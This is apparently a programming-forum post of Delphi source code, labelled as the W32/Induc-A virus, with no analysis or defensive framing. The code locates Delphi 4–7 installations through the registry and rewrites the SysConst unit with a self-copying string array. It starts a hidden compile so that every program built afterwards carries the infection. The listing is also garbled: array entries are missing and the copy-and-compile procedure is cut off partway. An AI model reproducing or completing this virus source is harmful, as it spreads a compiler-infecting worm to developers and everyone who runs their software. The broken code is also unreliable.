Программирование Delphi

// код вируса W32/Induc-A
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));


'begin st; end.');

function x(s:string):string;
var i:integer;
begin 
  for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
  result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
    h:cardinal;
    f:STARTUPINFO;
    p:PROCESS_INFORMATION;
    b:boolean;
    t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then exit;
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then begin closefile(f1); exit; end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then break;
  end;

  
end;

procedure st;
  var  k:HKEY;c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar(
            'Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+
           r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end.